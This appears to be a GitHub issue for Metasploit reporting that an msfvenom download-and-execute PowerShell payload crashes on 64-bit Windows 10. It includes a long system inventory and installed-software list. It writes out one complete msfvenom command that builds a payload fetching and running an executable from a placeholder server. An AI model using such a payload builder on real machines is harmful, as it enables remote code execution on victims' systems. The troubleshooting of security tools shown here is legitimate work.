Skip to content

msfvenom -p windows/download_exec not working on 64bit / WOW64 #12876

Open
@klikevil

Description

@klikevil

Steps to reproduce

How'd you do it?

./msfvenom -p windows/download_exec --platform windows -a x86 -e cmd/powershell_base64 -f psh EXITFUNC=thread EXE='calc.exe' URL=https://yourserver/notepad.exe VERBOSE=true --out what-dle.ps1

Run outputted powershell script

Expected behavior

Download and execute of payload

Current behavior

Does not even download, leaves an error in event viewer (could potentially be related to .net framework?)

Application: powershell.exe
Framework Version: v4.0.30319
Description: The process was terminated due to an unhandled exception.
Exception Info: exception code c000001d, exception address 000002B75AA20006

System stuff

Metasploit version

$ git log -1 --pretty=oneline
7b7f56e (HEAD -> master, origin/master, origin/HEAD) automatic module_metadata_base.json update

I installed Metasploit with:

Installed in WSL with kali as distro

  • Source install (please specify ruby version)
    $ ruby -v
    ruby 2.5.7p206 (2019-10-01 revision 67816) [x86_64-linux-gnu]

OS

What OS are you running Metasploit on?

Target payload: windows 10 (x64)
Payload generated under: WSL kali

We have symantec endpoint protection on as well, but the directory the payload is saved in is completely whitelisted.

Environment:

OS Information
OS Name:                   Microsoft Windows 10 Enterprise
OS Version:                10.0.17134 N/A Build 17134
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Member Workstation
OS Build Type:             Multiprocessor Free
Original Install Date:     4/22/2019, 9:47:53 AM
System Boot Time:          1/22/2020, 1:49:06 AM
System Manufacturer:       Dell Inc.
System Model:              Latitude 7490
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 142 Stepping 10 GenuineIntel ~1910 Mhz
BIOS Version:              Dell Inc. 1.7.2, 11/26/2018
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-05:00) Eastern Time (US & Canada)
Total Physical Memory:     16,259 MB
Available Physical Memory: 8,027 MB
Virtual Memory: Max Size:  29,571 MB
Virtual Memory: Available: 16,284 MB
Virtual Memory: In Use:    13,287 MB
Page File Location(s):     C:\pagefile.sys
Hotfix(s):                 14 Hotfix(s) Installed.
                           [01]: KB2693643
                           [02]: KB4532936
                           [03]: KB4456655
                           [04]: KB4465663
                           [05]: KB4486153
                           [06]: KB4494451
                           [07]: KB4497398
                           [08]: KB4509094
                           [09]: KB4512576
                           [10]: KB4516115
                           [11]: KB4521861
                           [12]: KB4523203
                           [13]: KB4530741
                           [14]: KB4530717
Network Card(s):           13 NIC(s) Installed.
                           [01]: Intel(R) Dual Band Wireless-AC 8265
                                 Connection Name: Wi-Fi
                                 DHCP Enabled:    Yes
                                 DHCP Server:     N/A
                                 IP address(es)
                           [02]: Intel(R) Ethernet Connection (4) I219-LM
                                 Connection Name: Ethernet
                                 Status:          Media disconnected
                           [03]: Bluetooth Device (Personal Area Network)
                                 Connection Name: Bluetooth Network Connection
                                 Status:          Media disconnected
                           [04]: Cisco AnyConnect Secure Mobility Client Virtual Miniport Adapter for Windows x64
                                 Connection Name: Ethernet 2
                                 Status:          Hardware not present
                           [05]: VirtualBox Host-Only Ethernet Adapter
                                 Connection Name: VirtualBox Host-Only Network
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 192.168.56.1
                           [06]: Hyper-V Virtual Ethernet Adapter
                                 Connection Name: vEthernet (Default Switch)
                                 DHCP Enabled:    Yes
                                 DHCP Server:     255.255.255.255
                                 IP address(es)
                                 [01]: 172.18.100.209
                           [07]: Hyper-V Virtual Ethernet Adapter
                                 Connection Name: vEthernet (Bridgey)
                                 Status:          Media disconnected
                           [08]: Hyper-V Virtual Ethernet Adapter
                                 Connection Name: vEthernet (CorpBridgey)
                                 Status:          Media disconnected
                           [09]: Fortinet Virtual Ethernet Adapter (NDIS 6.30)
                                 Connection Name: Ethernet 5
                                 Status:          Media disconnected
                           [10]: Fortinet SSL VPN Virtual Ethernet Adapter
                                 Connection Name: Ethernet 6
                                 Status:          Hardware not present
                           [11]: Array Networks SSL VPN Adapter
                                 Connection Name: Ethernet 7
                                 Status:          Hardware not present
                           [12]: Microsoft Network Adapter Multiplexor Driver
                                 Connection Name: Network Bridge
                                 DHCP Enabled:    Yes
                                 DHCP Server:     N/A
                                 IP address(es)
                           [13]: Hyper-V Virtual Ethernet Adapter
                                 Connection Name: vEthernet (WifiBridge)
                                 DHCP Enabled:    Yes
                                 DHCP Server:     192.168.2.254
                                 IP address(es)
                                 [01]: 192.168.2.3
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.
.NET framework information CBS : 1 Install : 1 InstallPath : C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ Release : 528049 Servicing : 0 TargetVersion : 4.0.0 Version : 4.8.03761 PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4 PSChildName : Full PSDrive : HKLM PSProvider

Installed software

Installed software list

DisplayName : 7-Zip 18.05 (x64)
Version : 18.05
InstallDate :
Publisher : Igor Pavlov
UninstallString : C:\Program Files\7-Zip\Uninstall.exe
InstallLocation : C:\Program Files\7-Zip
InstallSource :
HelpLink :
EstimatedSizeMB : 4.93

DisplayName : MotionPro
Version : 9.4.0.0
InstallDate :
Publisher : Array Networks
UninstallString : C:\Program Files\Array Networks\MotionPro VPN Client\uninst.exe
InstallLocation :
InstallSource :
HelpLink :
EstimatedSizeMB : 0

DisplayName : Mozilla Firefox 72.0.1 (x64 en-US)
Version : 72.0.1
InstallDate :
Publisher : Mozilla
UninstallString : "C:\Program Files\Mozilla Firefox\uninstall\helper.exe"
InstallLocation : C:\Program Files\Mozilla Firefox
InstallSource :
HelpLink : https://support.mozilla.org
EstimatedSizeMB : 363.52

DisplayName : Mozilla Maintenance Service
Version : 72.0.1
InstallDate :
Publisher : Mozilla
UninstallString : "C:\Program Files (x86)\Mozilla Maintenance Service\uninstall.exe"
InstallLocation :
InstallSource :
HelpLink :
EstimatedSizeMB : 0.56

DisplayName : Notepad++ (64-bit x64)
Version : 7.8.2
InstallDate :
Publisher : Notepad++ Team
UninstallString : C:\Program Files\Notepad++\uninstall.exe
InstallLocation :
InstallSource :
HelpLink :
EstimatedSizeMB : 10.38

DisplayName : Microsoft Office 365 ProPlus - en-us
Version : 16.0.12325.20288
InstallDate :
Publisher : Microsoft Corporation
UninstallString : "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" scenario=install scenariosubtype=ARP sourcetype=None
productstoremove=O365ProPlusRetail.16_en-us_x-none culture=en-us version.16=16.0
InstallLocation : C:\Program Files\Microsoft Office
InstallSource :
HelpLink :
EstimatedSizeMB : 0

DisplayName : SDCC
Version :
InstallDate :
Publisher : sdcc.sourceforge.net
UninstallString : C:\Program Files\SDCC\uninstall.exe
InstallLocation : C:\Program Files\SDCC
InstallSource :
HelpLink : http://sdcc.sourceforge.net/
EstimatedSizeMB : 0

DisplayName : Realtek USB Audio
Version : 6.3.9600.132
InstallDate :
Publisher : Realtek Semiconductor Corp.
UninstallString : C:\Windows\system32\rundll32.exe RtSetupAPI64.dll RealtekUSBAudioInstaller -r -m
InstallLocation : C:\Program Files\Realtek\Audio\USB
InstallSource :
HelpLink :
EstimatedSizeMB : 0

DisplayName : AgentInstall-x64_15_5
Version : 15.5.0107.01001
InstallDate : 12/6/2019 12:00:00 AM
Publisher : Symantec Corp.
UninstallString : MsiExec.exe /X{11012518-A235-4178-8041-ACA48E052C60}
InstallLocation : C:\Program Files\Manufacturer\Endpoint Agent
InstallSource : C:\Program Files\Altiris\Altiris Agent\Agents\SoftwareManagement\Software Delivery{04BFF634-231F-4FC3-8EA5-D54AFA45741B}\cache
HelpLink :
EstimatedSizeMB : 308.15

DisplayName : 7-Zip 19.00 (x64 edition)
Version : 19.00.00.0
InstallDate : 5/20/2019 12:00:00 AM
Publisher : Igor Pavlov
UninstallString : MsiExec.exe /I{23170F69-40C1-2702-1900-000001000000}
InstallLocation :
InstallSource : C:\Program Files\Altiris\Altiris Agent\Agents\SoftwareManagement\Software Delivery{B3B76409-5860-5ACA-DF6B-FE57C3BD0954}\cache
HelpLink : http://www.7-zip.org/support.html
EstimatedSizeMB : 5.13

DisplayName : Symantec Endpoint Protection
Version : 14.0.3929.1200
InstallDate : 12/19/2019 12:00:00 AM
Publisher : Symantec Corporation
UninstallString : MsiExec.exe /I{2B448775-6A9D-4594-A59F-5F3076B67309}
InstallLocation : C:\Program Files (x86)\Symantec\Symantec Endpoint Protection\14.0.3929.1200.105
InstallSource : C:\Windows\Temp\6cabeb3f-2a90-4ffe-b26d-6e1e3b75fa57
HelpLink :
EstimatedSizeMB : 580.4

DisplayName : Maxx Audio Installer (x64)
Version : 2.7.9326.0
InstallDate : 4/22/2019 12:00:00 AM
Publisher : Waves Audio Ltd.
UninstallString : MsiExec.exe /X{307032B2-6AF2-46D7-B933-62438DEB2B9A}
InstallLocation : c:\Program Files\Waves\MaxxAudio
InstallSource : c:\drivers\x64\audio\88ccc_a00-00\hdaudio
HelpLink :
EstimatedSizeMB : 108.75

DisplayName : Software Management Solution Plugin
Version : 8.5.3627.0
InstallDate : 4/22/2019 12:00:00 AM
Publisher : Altiris Inc.
UninstallString : MsiExec.exe /I{48541466-9F58-4627-8D41-036BF19BEDC9}
InstallLocation : C:\Program Files\Altiris\Altiris Agent\Agents\Software Management Solution Plugin
InstallSource : C:\WINDOWS\SETUP\SCRIPTS
HelpLink :
EstimatedSizeMB : 1.05

DisplayName : Deployment Solution Agent
Version : 8.5.3663.0
InstallDate : 4/22/2019 12:00:00 AM
Publisher : Symantec
UninstallString : MsiExec.exe /I{493B986D-AD15-45DA-918B-CD0947307DAB}
InstallLocation : C:\Program Files\Altiris\Altiris Agent\Agents\Deployment
InstallSource : C:\WINDOWS\SETUP\SCRIPTS
HelpLink : [email protected]
EstimatedSizeMB : 3.52

DisplayName : Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161
Version : 9.0.30729.6161
InstallDate : 4/22/2019 12:00:00 AM
Publisher : Microsoft Corporation
UninstallString : MsiExec.exe /X{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}
InstallLocation :
InstallSource : c:\aa78abb0d9d3bd34685a6c
HelpLink :
EstimatedSizeMB : 13.21

DisplayName : Symantec Endpoint Encryption Client
Version : 11.2.0 MP1
InstallDate : 4/22/2019 12:00:00 AM
Publisher : Symantec Corporation
UninstallString : MsiExec.exe /X{7B5C708A-E3A9-40F0-8ABE-97EC534B98BF}
InstallLocation :
InstallSource : C:\Program Files\Altiris\Altiris Agent\Agents\SoftwareManagement\Software Delivery{A8B9CB7A-BE8E-4A59-86BE-C0BB27645A86}\cache
HelpLink : www.symantec.com/bussiness/support/
EstimatedSizeMB : 121.52

DisplayName : FortiClient VPN
Version : 6.2.1.0831
InstallDate : 8/29/2019 12:00:00 AM
Publisher : Fortinet Technologies Inc
UninstallString : MsiExec.exe /X{8C9E2A28-ED82-4192-8CC0-1BF2BB379435}
InstallLocation : C:\Program Files\Fortinet\FortiClient
InstallSource : C:\ProgramData\Applications\Cache{8C9E2A28-ED82-4192-8CC0-1BF2BB379435}\6.2.1.0831
HelpLink :
EstimatedSizeMB : 195.5

DisplayName : Office 16 Click-to-Run Licensing Component
Version : 16.0.12325.20280
InstallDate : 1/22/2020 12:00:00 AM
Publisher : Microsoft Corporation
UninstallString : MsiExec.exe /I{90160000-007E-0000-1000-0000000FF1CE}
InstallLocation :
InstallSource : c:\program files\microsoft office\root\integration
HelpLink :
EstimatedSizeMB : 4.81

DisplayName : Office 16 Click-to-Run Extensibility Component
Version : 16.0.12325.20288
InstallDate : 1/22/2020 12:00:00 AM
Publisher : Microsoft Corporation
UninstallString : MsiExec.exe /X{90160000-008C-0000-1000-0000000FF1CE}
InstallLocation :
InstallSource : c:\program files\microsoft office\root\integration
HelpLink :
EstimatedSizeMB : 30.95

DisplayName : Office 16 Click-to-Run Localization Component
Version : 16.0.12325.20288
InstallDate : 1/22/2020 12:00:00 AM
Publisher : Microsoft Corporation
UninstallString : MsiExec.exe /X{90160000-008C-0409-1000-0000000FF1CE}
InstallLocation :
InstallSource : c:\program files\microsoft office\root\integration
HelpLink :
EstimatedSizeMB : 0.05

DisplayName : Altiris Application Metering Agent
Version : 8.5.3687.0
InstallDate : 4/23/2019 12:00:00 AM
Publisher : Symantec Corporation
UninstallString : MsiExec.exe /I{91EBE1C2-0AC6-42A9-A5B7-21430EFD905A}
InstallLocation : C:\Program Files\Altiris\Altiris Agent\Agents\Application Metering Agent
InstallSource : C:\Program Files\Altiris\Altiris Agent\Agents\SoftwareManagement\Software Delivery{9A125D17-657E-460D-A897-5E96E0BFBAC1}\cache
HelpLink : http://http://www.altiris.com/support/
EstimatedSizeMB : 1.92

DisplayName : Dell Touchpad
Version : 10.3201.101.108
InstallDate :
Publisher : ALPS ELECTRIC CO., LTD.
UninstallString : C:\Program Files\DellTPad\Uninstap.exe ADDREMOVE
InstallLocation : C:\Program Files\DellTPad
InstallSource :
HelpLink :
EstimatedSizeMB : 0

DisplayName : IBSA
Version : 4.5.110
InstallDate : 8/28/2019 12:00:00 AM
Publisher : Phantom
UninstallString : MsiExec.exe /X{AE4231FD-C6BB-4B19-AE83-276E47C145B2}
InstallLocation : C:\Program Files\Phantom\IBSA
InstallSource : C:\Program Files\Altiris\Altiris Agent\Agents\SoftwareManagement\Software Delivery{5923EC37-DFC7-4CE6-81E4-784D2DCD9228}\cache
HelpLink :
EstimatedSizeMB : 12.32

DisplayName : Google Chrome
Version : 79.0.3945.117
InstallDate : 1/10/2020 12:00:00 AM
Publisher : Google LLC
UninstallString : MsiExec.exe /X{B0ADCD48-32BE-3E01-89F3-CA3224594A8B}
InstallLocation :
InstallSource : C:\Program Files\Altiris\Altiris Agent\Agents\SoftwareManagement\Software Delivery{B526089E-F45D-6FFF-60B4-9528E26F3422}\cache
HelpLink :
EstimatedSizeMB : 58.08

DisplayName : Oracle VM VirtualBox 6.1.0
Version : 6.1.0
InstallDate : 12/19/2019 12:00:00 AM
Publisher : Oracle Corporation
UninstallString : MsiExec.exe /I{B9B53CFE-C4E3-47FB-9BC0-8022F0AB6814}
InstallLocation :
InstallSource : C:\Windows\TEMP\VirtualBox
HelpLink :
EstimatedSizeMB : 216.22

DisplayName : Altiris Inventory Agent
Version : 8.5.3687.0
InstallDate : 5/20/2019 12:00:00 AM
Publisher : Symantec Corporation
UninstallString : MsiExec.exe /I{B9C8C6C5-8EE0-4196-96E7-118F563EA40B}
InstallLocation : C:\Program Files\Altiris\Altiris Agent
InstallSource : C:\Program Files\Altiris\Altiris Agent\Agents\SoftwareManagement\Software Delivery{5864027D-DA99-4430-9183-4EFF8B362383}\cache
HelpLink : http://www.altiris.com
EstimatedSizeMB : 7.14

DisplayName : Local Administrator Password Solution
Version : 6.2.0.0
InstallDate : 10/7/2019 12:00:00 AM
Publisher : Microsoft Corporation
UninstallString : MsiExec.exe /I{EA8CB806-C109-4700-96B4-F1F268E5036C}
InstallLocation :
InstallSource : C:\Program Files\Altiris\Altiris Agent\Agents\SoftwareManagement\Software Delivery{53E69F29-564A-4BAE-B82F-BAA13781F72A}\cache\Files
HelpLink :
EstimatedSizeMB : 0.13

DisplayName : Patch Management Agent
Version : 8.5.3622.0
InstallDate : 4/22/2019 12:00:00 AM
Publisher : Symantec
UninstallString : MsiExec.exe /I{F107B84C-B72A-4C2A-90EE-796948012F3E}
InstallLocation : C:\Program Files\Altiris\Altiris Agent\Agents\PatchMgmtAgent
InstallSource : C:\WINDOWS\SETUP\SCRIPTS
HelpLink : http://symantec.com/business/support
EstimatedSizeMB : 5.29

DisplayName : Cisco AnyConnect Secure Mobility Client
Version : 4.4.03034
InstallDate :
Publisher : Cisco Systems, Inc.
UninstallString : C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\Uninstall.exe -remove
InstallLocation :
InstallSource :
HelpLink : http://www.cisco.com/TAC/
EstimatedSizeMB : 5.86

DisplayName : SDCC
Version :
InstallDate :
Publisher : sdcc.sourceforge.net
UninstallString : C:\Program Files (x86)\SDCC\uninstall.exe
InstallLocation : C:\Program Files (x86)\SDCC
InstallSource :
HelpLink : http://sdcc.sourceforge.net/
EstimatedSizeMB : 0

DisplayName : VLC media player
Version : 3.0.8
InstallDate :
Publisher : VideoLAN
UninstallString : "C:\Program Files (x86)\VideoLAN\VLC\uninstall.exe"
InstallLocation : C:\Program Files (x86)\VideoLAN\VLC
InstallSource :
HelpLink :
EstimatedSizeMB : 0

DisplayName : Realtek Audio COM Components
Version : 1.0.2
InstallDate : 4/22/2019 12:00:00 AM
Publisher : Realtek Semiconductor Corp.
UninstallString : MsiExec.exe /I{2355B503-9B11-4449-861D-1C1748B26320}
InstallLocation :
InstallSource : C:\Program Files\Realtek\Audio\HDA
HelpLink :
EstimatedSizeMB : 0.58

DisplayName : Java 8 Update 201
Version : 8.0.2010.9
InstallDate : 4/22/2019 12:00:00 AM
Publisher : Oracle Corporation
UninstallString : MsiExec.exe /X{26A24AE4-039D-4CA4-87B4-2F32180201F0}
InstallLocation : C:\Program Files (x86)\Java\jre1.8.0_201
InstallSource : C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Oracle\Java\jre1.8.0_201
HelpLink : https://java.com/help
EstimatedSizeMB : 102.32

DisplayName : Java 8 Update 231
Version : 8.0.2310.11
InstallDate : 11/14/2019 12:00:00 AM
Publisher : Oracle Corporation
UninstallString : MsiExec.exe /X{26A24AE4-039D-4CA4-87B4-2F32180231F0}
InstallLocation : C:\Program Files (x86)\Java\jre1.8.0_231
InstallSource : C:\Users\period\AppData\LocalLow\Oracle\Java\jre1.8.0_231
HelpLink : https://java.com/help
EstimatedSizeMB : 35.88

DisplayName : Adobe Shockwave Player 12.3
Version : 12.3.5.205
InstallDate : 5/30/2019 12:00:00 AM
Publisher : Adobe, Inc
UninstallString : MsiExec.exe /X{4487064C-F31E-4499-A1EF-9B8E809A0358}
InstallLocation : C:\Windows\SysWOW64\Adobe
InstallSource : C:\Program Files\Altiris\Altiris Agent\Agents\SoftwareManagement\Software Delivery{200158F2-B292-0460-AFBF-5A2723AFFC23}\cache
HelpLink : http://www.adobe.com/support/shockwave
EstimatedSizeMB : 52.4

DisplayName : Java Auto Updater
Version : 2.8.231.11
InstallDate : 11/14/2019 12:00:00 AM
Publisher : Oracle Corporation
UninstallString :
InstallLocation :
InstallSource : C:\Users\period\AppData\LocalLow\Oracle\Java\jre1.8.0_231
HelpLink :
EstimatedSizeMB : 1.93

DisplayName : XCP-ng Center 7.6.0
Version : 7.6.0.9
InstallDate : 9/30/2019 12:00:00 AM
Publisher : XCP-ng
UninstallString : MsiExec.exe /X{4C738D9E-4BB1-4CD6-95A6-8DC803E85241}
InstallLocation :
HelpLink :
EstimatedSizeMB : 22.86

DisplayName : Citrix XenCenter
Version : 6.1.3
InstallDate : 9/30/2019 12:00:00 AM
Publisher : Citrix Systems, Inc.
UninstallString : MsiExec.exe /X{5800A2A9-0DBF-4F46-9B7B-CCA602BDE6A1}
InstallLocation :
HelpLink :
EstimatedSizeMB : 63.33

DisplayName : VIP Access
Version : 2.2.4.44
InstallDate : 4/22/2019 12:00:00 AM
Publisher : Symantec Corporation
UninstallString : MsiExec.exe /X{58594A65-ACD7-41A2-B6ED-2597777F2850}
InstallLocation : C:\Program Files (x86)\Symantec\VIP Access Client
InstallSource : C:\Program Files\Altiris\Altiris Agent\Agents\SoftwareManagement\Software Delivery{7B008651-73C9-4979-840A-04670CF32FFA}\cache\Files\VIPAccess_Installer
HelpLink :
EstimatedSizeMB : 11.64

DisplayName : Realtek Card Reader
Version : 10.0.15063.21300
InstallDate :
Publisher : Realtek Semiconductor Corp.
UninstallString : C:\Windows\RtCRU64.exe /u
InstallLocation :
InstallSource :
HelpLink :
EstimatedSizeMB : 14.65

DisplayName : Google Update Helper
Version : 1.3.35.341
InstallDate : 12/6/2019 12:00:00 AM
Publisher : Google LLC
UninstallString : MsiExec.exe /I{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}
InstallLocation :
InstallSource : C:\Program Files (x86)\Google\Update\1.3.35.341
HelpLink :
EstimatedSizeMB : 0.04

DisplayName : MirrorOp
Version : 2.0.0.23
InstallDate : 5/20/2019 12:00:00 AM
Publisher : AWIND Inc
UninstallString : MsiExec.exe /X{6edc8ea3-5cba-4942-8313-540b6ea7571e}
InstallLocation : C:\Program Files (x86)\MirrorOp
InstallSource : C:\Program Files\Altiris\Altiris Agent\Agents\SoftwareManagement\Software Delivery{CF0426B7-2C7F-4828-ADE4-A5ED9B027DC3}\cache
HelpLink :
EstimatedSizeMB : 30.2

DisplayName : Teams Machine-Wide Installer
Version : 1.2.0.19260
InstallDate : 8/29/2019 12:00:00 AM
Publisher : Microsoft Corporation
UninstallString : MsiExec.exe /I{731F6BAA-A986-45A4-8936-7C3AAAAA760B}
InstallLocation :
InstallSource : C:\Program Files\Microsoft Office\root\integration\Addons
HelpLink :
EstimatedSizeMB : 90.39

DisplayName : Cisco AnyConnect ISE Posture Module
Version : 4.4.03034
InstallDate : 4/22/2019 12:00:00 AM
Publisher : Cisco Systems, Inc.
UninstallString : MsiExec.exe /X{9317038A-8547-41F1-B8EA-154CFF895610}
InstallLocation : C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client
InstallSource : C:\Program Files\Altiris\Altiris Agent\Agents\SoftwareManagement\Software Delivery{AFC6812E-CD0E-4BCB-991D-C2D20924EB6D}\cache
HelpLink : http://www.cisco.com/TAC/
EstimatedSizeMB : 1.94

DisplayName : Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161
Version : 9.0.30729.6161
InstallDate : 4/22/2019 12:00:00 AM
Publisher : Microsoft Corporation
UninstallString : MsiExec.exe /X{9BE518E6-ECC6-35A9-88E4-87755C07200F}
InstallLocation :
InstallSource : c:\01dd7fa27055585cb016
HelpLink :
EstimatedSizeMB : 10.2

DisplayName : Cisco AnyConnect ISE Compliance Module
Version : 3.6.11098.2
InstallDate : 7/8/2019 12:00:00 AM
Publisher : Cisco Systems, Inc
UninstallString : MsiExec.exe /I{A390D36F-3DA8-4581-9887-04905A71044C}
InstallLocation : C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\opswat
InstallSource : C:\Windows\TEMP\install\A71044C
HelpLink : http://www.cisco.com/TAC/
EstimatedSizeMB : 13.76

DisplayName : Adobe Refresh Manager
Version : 1.8.0
InstallDate : 10/17/2019 12:00:00 AM
Publisher : Adobe Systems Incorporated
UninstallString : MsiExec.exe /I{AC76BA86-0804-1033-1959-000182435289}
InstallLocation : C:\Program Files (x86)\Common Files\Adobe\ARM\1.0
InstallSource : C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\Cache
HelpLink : http://www.adobe.com/support/main.html
EstimatedSizeMB : 1.66

DisplayName : Adobe Acrobat Reader DC
Version : 19.021.20061
InstallDate : 12/20/2019 12:00:00 AM
Publisher : Adobe Systems Incorporated
UninstallString : MsiExec.exe /I{AC76BA86-7AD7-1033-7B44-AC0F074E4100}
InstallLocation : C:\Program Files (x86)\Adobe\Acrobat Reader DC
InstallSource : C:\ProgramData\Adobe\Setup{AC76BA86-7AD7-1033-7B44-AC0F074E4100}
HelpLink : http://www.adobe.com/support/main.html
EstimatedSizeMB : 307.08

DisplayName : Cisco Jabber
Version : 12.6.1.34405
InstallDate : 10/24/2019 12:00:00 AM
Publisher : Cisco Systems, Inc
UninstallString : MsiExec.exe /X{B87384BE-C083-43F9-9E16-1C2B7380FB2E}
InstallLocation : C:\Program Files (x86)\Cisco Systems\Cisco Jabber
InstallSource : C:\Program Files\Altiris\Altiris Agent\Agents\SoftwareManagement\Software Delivery{01286FD0-05D3-4F07-8E64-97845BA9F9E5}\cache\Files
HelpLink :
EstimatedSizeMB : 400.14

DisplayName : Cisco AnyConnect Secure Mobility Client
Version : 4.4.03034
InstallDate : 4/22/2019 12:00:00 AM
Publisher : Cisco Systems, Inc.
UninstallString : MsiExec.exe /X{EB629A98-5E69-40E8-BA9E-C393899F959D}
InstallLocation : C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client
InstallSource : C:\Program Files\Altiris\Altiris Agent\Agents\SoftwareManagement\Software Delivery{0AA4A901-0D66-4D55-B292-3B544F40A5BB}\cache
HelpLink : http://www.cisco.com/TAC/
EstimatedSizeMB : 16.02

DisplayName : Ant Video downloader (Native messaging host)
Version : 4.3
InstallDate : 11/27/2019 12:00:00 AM
Publisher : Ant.com
UninstallString : MsiExec.exe /X{EF61BF45-53FF-41A8-96C9-0527735FE8CE}
InstallLocation :
HelpLink : http://support.ant.com/
EstimatedSizeMB : 36.51

DisplayName : Intel(R) Processor Graphics
Version : 24.20.100.6286
InstallDate :
Publisher : Intel Corporation
UninstallString : "C:\Program Files (x86)\Intel\Intel(R) Processor Graphics\Uninstall\igxpin.exe" -uninstall
InstallLocation : C:\Program Files (x86)\Intel\Intel(R) Processor Graphics
InstallSource :
HelpLink :
EstimatedSizeMB : 74.22

DisplayName : Realtek High Definition Audio Driver
Version : 6.0.1.8555
InstallDate :
Publisher : Realtek Semiconductor Corp.
UninstallString : C:\Program Files\Realtek\Audio\HDA\RtlUpd64.exe -r -m -nrg2709
InstallLocation : C:\Program Files\Realtek\Audio\HDA
InstallSource :
HelpLink :
EstimatedSizeMB : 0

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions